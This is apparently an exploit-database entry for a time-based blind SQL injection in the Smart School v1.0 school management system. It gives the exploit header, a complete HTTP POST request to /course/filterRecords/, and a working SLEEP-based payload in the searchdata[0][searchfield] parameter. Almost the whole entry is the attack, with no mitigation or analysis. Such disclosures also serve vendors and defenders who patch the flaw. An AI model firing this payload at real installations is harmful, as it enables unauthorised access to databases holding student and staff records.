Smart School v1.0 - SQL Injection

# Exploit Title: Smart School v1.0 - SQL Injection
# Date: 2023-05-17
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor:
https://codecanyon.net/item/smart-school-school-management-system/19426018
# Demo Site: https://demo.smart-school.in
# Tested on: Kali Linux
# CVE: N/A


### Request ###

POST /course/filterRecords/ HTTP/1.1
Host: localhost
Cookie: ci_session=dd1bqn8ulsiog4vf7fle5hd4k4fklvve
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 136
Origin: https://localhost
Referer: https://localhost/course/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

searchdata%5B0%5D%5Btitle%5D=category&searchdata%5B0%5D%5Bsearchfield%5D=online_courses.category_id&searchdata%5B0%5D%5Bsearchvalue%5D=1


### Parameter & Payloads ###

Parameter: searchdata[0][searchfield] (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload:
searchdata[0][title]=category&searchdata[0][searchfield]=online_courses.category_id
AND (SELECT 7313 FROM (SELECT(SLEEP(5)))mvaR)--
hAHp&searchdata[0][searchvalue]=1